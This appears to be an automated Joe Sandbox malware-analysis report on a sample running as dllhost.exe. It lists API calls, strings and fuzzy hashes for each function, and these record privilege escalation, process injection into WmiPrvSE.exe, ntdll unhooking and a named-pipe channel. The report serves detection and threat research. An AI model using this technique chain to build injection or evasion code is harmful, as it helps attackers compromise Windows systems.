Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d6c7a449c44bdf6aaaccd5ca0bd688a7a15ae662aec1b6782d1452b2949f09
Instruction ID: 8f550a317d2660dcc998fad9911e1192457d705d772df4d209aafad1566315b7
Opcode Fuzzy Hash: 35d6c7a449c44bdf6aaaccd5ca0bd688a7a15ae662aec1b6782d1452b2949f09
Instruction Fuzzy Hash: B3C01227B596421AF250A458984B5E077C1E7552D17511576D526870A4FA545C471180

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E406A0D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e0ad35e43dca7cb80864bdc37599457ef7cbc205cf8aa57a0ec2bdae55d877
Instruction ID: 8cfd3401e6799e55156c0e4bdfbb9de949e3771ba98c130d5247b6434e7817d9
Opcode Fuzzy Hash: c0e0ad35e43dca7cb80864bdc37599457ef7cbc205cf8aa57a0ec2bdae55d877
Instruction Fuzzy Hash: 2FD01217B0C44B07B94CA82D505A1BD46C34BC6654A1345BFE01B867D6CC2D55431342

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E402ABE Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6b8ef0ff66e05dfb1432f3bf5cf0af358f2430edffbb92dd51baa69d5416e26
Instruction ID: c31c437e0e7b1a7ca8da8c15a589878e756ceb813880e6b533bf7d39e37b54ae
Opcode Fuzzy Hash: a6b8ef0ff66e05dfb1432f3bf5cf0af358f2430edffbb92dd51baa69d5416e26
Instruction Fuzzy Hash: ECD0A76A42D6C38BE315DE35C4C4735BB80AF0131CF2546FDE4974A4D3A62CE50AD609

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E4050B1 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74d963b915e518b9f72c3a935038fda2c245fb70b0129928fafbe9b1d44e4930
Instruction ID: 3ad420c5e44d84a97cdbad5a70f12adff6b104a0c365e06beb7b116072341ade
Opcode Fuzzy Hash: 74d963b915e518b9f72c3a935038fda2c245fb70b0129928fafbe9b1d44e4930
Instruction Fuzzy Hash: F2C01298914B1E8E52546A69044412C73C0DB48544B90007E980AD3293DC586C234345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E401AB5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567911fe2aea1ba09de7f01ad76422bfef49018766f1a651103e5c2ed1f2e077
Instruction ID: fc19b294fc3dc28a3095255a22655ffaa0d1010b453d2009589f0b0d022dfa31
Opcode Fuzzy Hash: 567911fe2aea1ba09de7f01ad76422bfef49018766f1a651103e5c2ed1f2e077
Instruction Fuzzy Hash: BED01202A1D1454AD6061A6954602AD58D64F89314F3802F7F04EC32D7EC2E59128106

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E400823 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1136156403431e07a30655801a968ed35ebf387734be02e1227ac7a6ca2d6ff3
Instruction ID: f94f8c97528438a017bca9212b46742616b1cb52f6ea8c95678f48a63631bf8a
Opcode Fuzzy Hash: 1136156403431e07a30655801a968ed35ebf387734be02e1227ac7a6ca2d6ff3
Instruction Fuzzy Hash: 9BC0123353924647911CDA14405282DF3D5B789A05F50593EF08782181DBA5A8024542

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E406B6C Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aabf96123ac02084beb2ed045f485f4eec34d5b18ce28e67eb3b7c7e3acedb78
Instruction ID: bd35cefdc6937ad17d9c32e3bb2a4c0a32f06eb43da408d079783ffc57979eaa
Opcode Fuzzy Hash: aabf96123ac02084beb2ed045f485f4eec34d5b18ce28e67eb3b7c7e3acedb78
Instruction Fuzzy Hash: 56B0926BB24A2B3BA6D4B779029E27960D2AF9910479044B6A81FE3A97EC1C6C010250

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E4061A0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27de5500e6a8ec58bae6333ea9d0b039a117be2cd2eb2287063958e9b6096609
Instruction ID: e8983f92781e61a083ee831fb73b3f595b98e3cf4a3c0cf14edd90d59e761664
Opcode Fuzzy Hash: 27de5500e6a8ec58bae6333ea9d0b039a117be2cd2eb2287063958e9b6096609
Instruction Fuzzy Hash: 68B01230C4360B41DA183531194704831909B05104FC00575D40440141E86F51D74242

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E404F09 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba340c23a20c3cdffed3746b77d2a2fb3f1b31a75f52a5baf09d78746ccef11
Instruction ID: d8f9cac43927b757bcf2683e56067a0631b312e12a737266c0fa22b486cb67d0
Opcode Fuzzy Hash: 1ba340c23a20c3cdffed3746b77d2a2fb3f1b31a75f52a5baf09d78746ccef11
Instruction Fuzzy Hash: ECA0110023CA0A2BA0C8B2EA008C220A8C38B88200B8880B2288EC2382FC2888000222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E406A39 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.525876106.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7fff7e400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bb32c70afc5c4c58b90eafa69d177c11959768e797f16ae2c21183afad67016
Instruction ID: 1a1ac8d1c57b46f5fb9f773e5faeb8b582ff81569e5acae5887cce3c3fd7bd66
Opcode Fuzzy Hash: 1bb32c70afc5c4c58b90eafa69d177c11959768e797f16ae2c21183afad67016
Instruction Fuzzy Hash: 58A01102A0828A83FE202A8280A223C888A0F82300E2200B3A00B0A8C28C0CAA030203

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 2324, Parent PID: 572COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6%
Total number of Nodes:	1443
Total number of Limit Nodes:	37

Executed Functions

Function 0000000140001000 Relevance: 68.5, APIs: 31, Strings: 8, Instructions: 238
registrythreadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001AC0: lstrcpyW.KERNEL32 ref: 0000000140001AFA
Part of subcall function 0000000140001AC0: lstrcatW.KERNEL32 ref: 0000000140001B08
Part of subcall function 0000000140001AC0: GetModuleHandleW.KERNEL32 ref: 0000000140001B11
Part of subcall function 0000000140001AC0: GetCurrentProcess.KERNEL32 ref: 0000000140001B32
Part of subcall function 0000000140001AC0: K32GetModuleInformation.KERNEL32 ref: 0000000140001B49
Part of subcall function 0000000140001AC0: CreateFileW.KERNEL32 ref: 0000000140001B83
Part of subcall function 0000000140001AC0: CreateFileMappingW.KERNEL32 ref: 0000000140001BB5
Part of subcall function 0000000140001AC0: MapViewOfFile.KERNEL32 ref: 0000000140001BE0
Part of subcall function 0000000140001AC0: lstrcmpiA.KERNEL32 ref: 0000000140001C3D
Part of subcall function 0000000140001AC0: CloseHandle.KERNEL32 ref: 0000000140001CAC
Part of subcall function 0000000140001AC0: CloseHandle.KERNEL32 ref: 0000000140001CBD
Part of subcall function 0000000140001AC0: FreeLibrary.KERNEL32 ref: 0000000140001CD6

VerSetConditionMask.KERNEL32 ref: 000000014000107B
VerSetConditionMask.KERNEL32 ref: 000000014000108C
VerSetConditionMask.KERNEL32 ref: 000000014000109D
VerifyVersionInfoW.KERNEL32 ref: 00000001400010BF

Part of subcall function 0000000140001AC0: VirtualProtect.KERNEL32 ref: 0000000140001C6D
Part of subcall function 0000000140001AC0: VirtualProtect.KERNEL32 ref: 0000000140001C93

GetCurrentProcessId.KERNEL32 ref: 00000001400010E0
OpenProcess.KERNEL32 ref: 00000001400010F0
OpenProcessToken.ADVAPI32 ref: 000000014000110B
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140001123
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140001162
GetLastError.KERNEL32 ref: 000000014000116C
CloseHandle.KERNEL32 ref: 0000000140001175
FindResourceA.KERNEL32 ref: 0000000140001189
SizeofResource.KERNEL32 ref: 00000001400011A0
LoadResource.KERNEL32 ref: 00000001400011B9
LockResource.KERNEL32 ref: 00000001400011CB
GetCurrentProcessId.KERNEL32 ref: 00000001400011D8
OpenProcess.KERNEL32 ref: 0000000140001234
TerminateProcess.KERNEL32 ref: 0000000140001247
CloseHandle.KERNEL32 ref: 0000000140001250
RegCreateKeyExW.ADVAPI32 ref: 000000014000129D
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400012C9
RegSetKeySecurity.ADVAPI32 ref: 00000001400012E2
LocalFree.KERNEL32 ref: 00000001400012ED
RegCreateKeyExW.ADVAPI32 ref: 0000000140001326
GetCurrentProcessId.KERNEL32 ref: 0000000140001330
RegSetValueExW.ADVAPI32 ref: 0000000140001361
RegCloseKey.ADVAPI32 ref: 000000014000136C
RegCloseKey.ADVAPI32 ref: 0000000140001377
CreateThread.KERNEL32 ref: 0000000140001399
CreateThread.KERNEL32 ref: 00000001400013D3
Sleep.KERNEL32 ref: 00000001400013E5

Strings

kernel32.dll, xrefs: 00000001400010C5
DLL, xrefs: 000000014000117B
ntdll.dll, xrefs: 0000000140001038
SOFTWARE\nslookconfig, xrefs: 0000000140001277
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400012C2
svc64, xrefs: 000000014000133B
pid, xrefs: 0000000140001302
SeDebugPrivilege, xrefs: 000000014000111C

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: Process$CloseCreate$Handle$CurrentResource$ConditionFileMaskOpenSecurity$DescriptorFreeModuleProtectThreadTokenValueVirtual$AdjustConvertErrorFindInfoInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringTerminateVerifyVersionViewlstrcatlstrcmpilstrcpy
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\nslookconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 1509639794-2014806160
Opcode ID: ac2b49ce81bd6c42ce1db7e27b1c3ae78d14c7ed4c748a7f7454255202cddb2a
Instruction ID: bf23c630407f85a7ea5e16fea4e65b4f13d99ae9d65eda87c83af15c2995c556
Opcode Fuzzy Hash: ac2b49ce81bd6c42ce1db7e27b1c3ae78d14c7ed4c748a7f7454255202cddb2a
Instruction Fuzzy Hash: D4B104B2204B8086EB16DF62F8447DA73A5F78CBC4F444529EB8A57BA4DF79C548CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001420 Relevance: 52.7, APIs: 26, Strings: 4, Instructions: 210
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 000000014000148A
IsWow64Process.KERNEL32 ref: 00000001400014A4
CloseHandle.KERNEL32 ref: 00000001400014BE
OpenProcess.KERNEL32 ref: 00000001400014D7
K32GetModuleFileNameExW.KERNEL32 ref: 00000001400014F9
PathFindFileNameW.SHLWAPI ref: 0000000140001508

Part of subcall function 000000014000447C: _invalid_parameter_noinfo.LIBCMT ref: 0000000140004499

NtQueryInformationProcess.NTDLL ref: 000000014000153C
OpenProcessToken.ADVAPI32 ref: 000000014000156C
GetTokenInformation.ADVAPI32 ref: 0000000140001593
GetLastError.KERNEL32 ref: 000000014000159D
LocalAlloc.KERNEL32 ref: 00000001400015AE
GetTokenInformation.ADVAPI32 ref: 00000001400015D8
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400015E5
GetSidSubAuthority.ADVAPI32 ref: 00000001400015F3
LocalFree.KERNEL32 ref: 0000000140001604
LocalFree.KERNEL32 ref: 0000000140001613
CloseHandle.KERNEL32 ref: 0000000140001624
VirtualAllocEx.KERNEL32 ref: 0000000140001667
WriteProcessMemory.KERNEL32 ref: 000000014000168A
GetModuleHandleA.KERNEL32 ref: 00000001400016A4
GetProcAddress.KERNEL32 ref: 00000001400016B9
NtCreateThreadEx.NTDLL ref: 00000001400016FD
WaitForSingleObject.KERNEL32 ref: 000000014000171F
GetExitCodeThread.KERNEL32 ref: 0000000140001733
CloseHandle.KERNEL32 ref: 000000014000174A
CloseHandle.KERNEL32 ref: 000000014000175B

Strings

WmiPrvSE.exe, xrefs: 0000000140001511
NtCreateThreadEx, xrefs: 00000001400016AF
@, xrefs: 0000000140001657
ntdll.dll, xrefs: 0000000140001698

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Handle$Close$InformationLocalOpenToken$AllocAuthorityFileFreeModuleNameThread$AddressCodeCountCreateErrorExitFindLastMemoryObjectPathProcQuerySingleVirtualWaitWow64Write_invalid_parameter_noinfo
String ID: @$NtCreateThreadEx$WmiPrvSE.exe$ntdll.dll
API String ID: 3771203008-3049825241
Opcode ID: 3514cc253bb78093fad6e6cd81122fcc17cc3d12463bdd0a6adf7bd84e0f1cd2
Instruction ID: 0752c1ec2196954d4dd78b877c8bc8e9b8eaac9fa95afa931e72f9c214f7cb11
Opcode Fuzzy Hash: 3514cc253bb78093fad6e6cd81122fcc17cc3d12463bdd0a6adf7bd84e0f1cd2
Instruction Fuzzy Hash: 059115B5208B8082EB26DF13B8547DA67A1FBC8BC4F444425EB8A57BA4DF78C545C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001430 Relevance: 47.4, APIs: 23, Strings: 4, Instructions: 192
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 000000014000148A
IsWow64Process.KERNEL32 ref: 00000001400014A4
CloseHandle.KERNEL32 ref: 00000001400014BE
OpenProcess.KERNEL32 ref: 00000001400014D7
K32GetModuleFileNameExW.KERNEL32 ref: 00000001400014F9
PathFindFileNameW.SHLWAPI ref: 0000000140001508

Part of subcall function 000000014000447C: _invalid_parameter_noinfo.LIBCMT ref: 0000000140004499

NtQueryInformationProcess.NTDLL ref: 000000014000153C
OpenProcessToken.ADVAPI32 ref: 000000014000156C
GetTokenInformation.ADVAPI32 ref: 0000000140001593
GetLastError.KERNEL32 ref: 000000014000159D
LocalAlloc.KERNEL32 ref: 00000001400015AE
GetTokenInformation.ADVAPI32 ref: 00000001400015D8
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400015E5
GetSidSubAuthority.ADVAPI32 ref: 00000001400015F3
LocalFree.KERNEL32 ref: 0000000140001604
CloseHandle.KERNEL32 ref: 0000000140001624
VirtualAllocEx.KERNEL32 ref: 0000000140001667
WriteProcessMemory.KERNEL32 ref: 000000014000168A
GetModuleHandleA.KERNEL32 ref: 00000001400016A4
GetProcAddress.KERNEL32 ref: 00000001400016B9
CloseHandle.KERNEL32 ref: 000000014000175B

Strings

WmiPrvSE.exe, xrefs: 0000000140001511
NtCreateThreadEx, xrefs: 00000001400016AF
@, xrefs: 0000000140001657
ntdll.dll, xrefs: 0000000140001698

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Handle$CloseInformationOpenToken$AllocAuthorityFileLocalModuleName$AddressCountErrorFindFreeLastMemoryPathProcQueryVirtualWow64Write_invalid_parameter_noinfo
String ID: @$NtCreateThreadEx$WmiPrvSE.exe$ntdll.dll
API String ID: 2255831085-3049825241
Opcode ID: 47b3d0b3ed36e6396495094337ec394e1caccf78b7f063057fbffef1411bbc00
Instruction ID: 40171889a33b00fbdbaa4a1087c60cb035ef3b8b29c7ed5559afa5d3f01e1a8c
Opcode Fuzzy Hash: 47b3d0b3ed36e6396495094337ec394e1caccf78b7f063057fbffef1411bbc00
Instruction Fuzzy Hash: D78115B5208B8082EB26DF13B8547EA67A1BB8CBC4F444425EF8E57BA4DF79C549C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001F00 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 124
pipesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001F64
SetEntriesInAclW.ADVAPI32 ref: 0000000140001FAA
LocalAlloc.KERNEL32 ref: 0000000140001FC6
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001FDE
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001FF9
CreateNamedPipeW.KERNEL32 ref: 0000000140002051
Sleep.KERNEL32 ref: 0000000140002063
ConnectNamedPipe.KERNEL32 ref: 0000000140002075
ReadFile.KERNEL32 ref: 0000000140002095
WriteFile.KERNEL32 ref: 00000001400020BE
DisconnectNamedPipe.KERNEL32 ref: 00000001400020C7
Sleep.KERNEL32 ref: 00000001400020D4
DisconnectNamedPipe.KERNEL32 ref: 00000001400020DD

Strings

\\.\pipe\nslookchildproc64, xrefs: 000000014000202C

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorDisconnectFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclEntriesLocalReadWrite
String ID: \\.\pipe\nslookchildproc64
API String ID: 3584777297-1363353281
Opcode ID: b37e6f432c6f2a1d5e47efd98d1f3928e00fe339458e3306e41edaff54000244
Instruction ID: 8266934b804761f0116b471cbf32ba5db4d27a63d11a78053db2714d9453cadb
Opcode Fuzzy Hash: b37e6f432c6f2a1d5e47efd98d1f3928e00fe339458e3306e41edaff54000244
Instruction Fuzzy Hash: CF5158B2614B908AE725CF22F8447DA33A4F74CB88F445625FB4A57AA8DF78C148CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002338 Relevance: 3.0, APIs: 2, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 0000000140002341
_invalid_parameter_noinfo.LIBCMT ref: 00000001400054E0

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: 43c93713ae73b0e7451d84b403ce93ecb4e66f19edebc87764313757e15ad245
Instruction ID: ff8acf046e0b8ba5d736ac790d6b35c728020170d6d4f3489dfd8d0d71a94e49
Opcode Fuzzy Hash: 43c93713ae73b0e7451d84b403ce93ecb4e66f19edebc87764313757e15ad245
Instruction Fuzzy Hash: 19E012B0E4515185F52FF777BC433ED20912B4E3A5F600215B325473F2CA7A45D24622

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001AC0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyW.KERNEL32 ref: 0000000140001AFA
lstrcatW.KERNEL32 ref: 0000000140001B08
GetModuleHandleW.KERNEL32 ref: 0000000140001B11
GetCurrentProcess.KERNEL32 ref: 0000000140001B32
K32GetModuleInformation.KERNEL32 ref: 0000000140001B49
CreateFileW.KERNEL32 ref: 0000000140001B83
CreateFileMappingW.KERNEL32 ref: 0000000140001BB5
MapViewOfFile.KERNEL32 ref: 0000000140001BE0
lstrcmpiA.KERNEL32 ref: 0000000140001C3D
VirtualProtect.KERNEL32 ref: 0000000140001C6D
VirtualProtect.KERNEL32 ref: 0000000140001C93
CloseHandle.KERNEL32 ref: 0000000140001CAC
CloseHandle.KERNEL32 ref: 0000000140001CBD
FreeLibrary.KERNEL32 ref: 0000000140001CD6

Strings

.text, xrefs: 0000000140001C36
C:\Windows\System32\, xrefs: 0000000140001AF3

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcatlstrcmpilstrcpy
String ID: .text$C:\Windows\System32\
API String ID: 851879939-832442975
Opcode ID: 2565a63028710b063ea01d420fb0ced845f2080497b2aa49b69043651cf8b550
Instruction ID: de66b9a638ad4e6397e737a92eb97871902827a7b6dd6415210a430990ac8e68
Opcode Fuzzy Hash: 2565a63028710b063ea01d420fb0ced845f2080497b2aa49b69043651cf8b550
Instruction Fuzzy Hash: 9C513B76204B8182EB62CF12F4547DAB7A1FB8DBC4F444625EB8A13B68DF38D449CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002354 Relevance: 10.6, APIs: 7, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 0000000140002363

Part of subcall function 0000000140002954: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000000140002976

__scrt_acquire_startup_lock.LIBCMT ref: 0000000140002378
__scrt_release_startup_lock.LIBCMT ref: 00000001400023E6
__scrt_get_show_window_mode.LIBCMT ref: 0000000140002439
__scrt_is_managed_app.LIBCMT ref: 000000014000245C
__scrt_fastfail.LIBCMT ref: 00000001400024A5
__scrt_fastfail.LIBCMT ref: 00000001400024B0

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: __scrt_fastfail$__scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock
String ID:
API String ID: 2735655165-0
Opcode ID: 07980ee9f757e7180614720c71bfc57c5b69797cca90f1fcb78ae8c300b580c2
Instruction ID: 6224df3126cdcf51118130dc90d299fefb920cbf6a08a6429a847f4dd66625c5
Opcode Fuzzy Hash: 07980ee9f757e7180614720c71bfc57c5b69797cca90f1fcb78ae8c300b580c2
Instruction Fuzzy Hash: C2315CB160064186FA6BEB67F4553EE2391AB4E3C4F854425BB4A0B2F7DE78C9498341

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001D00 Relevance: 7.6, APIs: 5, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32EnumProcesses.KERNEL32 ref: 0000000140001D64
OpenProcess.KERNEL32 ref: 0000000140001DAF
K32EnumProcessModules.KERNEL32 ref: 0000000140001DD2
ReadProcessMemory.KERNEL32 ref: 0000000140001E0B
CloseHandle.KERNEL32 ref: 0000000140001E48

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Enum$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 1213742203-0
Opcode ID: 896a160a0ee285f6e8d8bd3a28e12ab9ce5b7e5b3218f098ad5d1cb74e6b639a
Instruction ID: f6fd842149fe76d569e5107b40fe64d6f9b3009bacd429039626d91551246fa1
Opcode Fuzzy Hash: 896a160a0ee285f6e8d8bd3a28e12ab9ce5b7e5b3218f098ad5d1cb74e6b639a
Instruction Fuzzy Hash: C9513AB261968486EB65DF62F85439AB3A0F789BC0F444125FF8A477A5DF39C541CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140008BFC Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 0000000140008C75
GetFileType.KERNEL32 ref: 0000000140008C8B

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 88e8f54f1ce44bcd5c61adcb05f2c06c036122a0376d20a0d62f23662d395c44
Instruction ID: 955487c27205d1d318e8cafe44fec18a402d7959bccc7748bd79d98d32d72b51
Opcode Fuzzy Hash: 88e8f54f1ce44bcd5c61adcb05f2c06c036122a0376d20a0d62f23662d395c44
Instruction Fuzzy Hash: DE31B172615B4481FB76CB16A5907A92A60F349BF0F64031AFFAA0B3F0CB34D4A1C350

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002120 Relevance: 3.1, APIs: 2, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32EnumProcesses.KERNEL32 ref: 000000014000217D
Sleep.KERNEL32 ref: 00000001400021E7

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: EnumProcessesSleep
String ID:
API String ID: 4263938415-0
Opcode ID: 2b77bc7fee134ea4cfd489f680b2e42101ab2c75c76b54298c3d5fb89b619286
Instruction ID: 1aac10474dc28f1596d549f3006f364ff74f75de67eb5a76958a3eaa47b5d0ec
Opcode Fuzzy Hash: 2b77bc7fee134ea4cfd489f680b2e42101ab2c75c76b54298c3d5fb89b619286
Instruction Fuzzy Hash: AD11517231465087F726CB13E854B9AB7A1F79DBC4F554214EF8947BA4CB39D501CB40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000000014000624C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000001400062C5
RtlLookupFunctionEntry.KERNEL32 ref: 00000001400062DD
RtlVirtualUnwind.KERNEL32 ref: 0000000140006318
IsDebuggerPresent.KERNEL32 ref: 0000000140006351
SetUnhandledExceptionFilter.KERNEL32 ref: 000000014000635B
UnhandledExceptionFilter.KERNEL32 ref: 0000000140006366

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
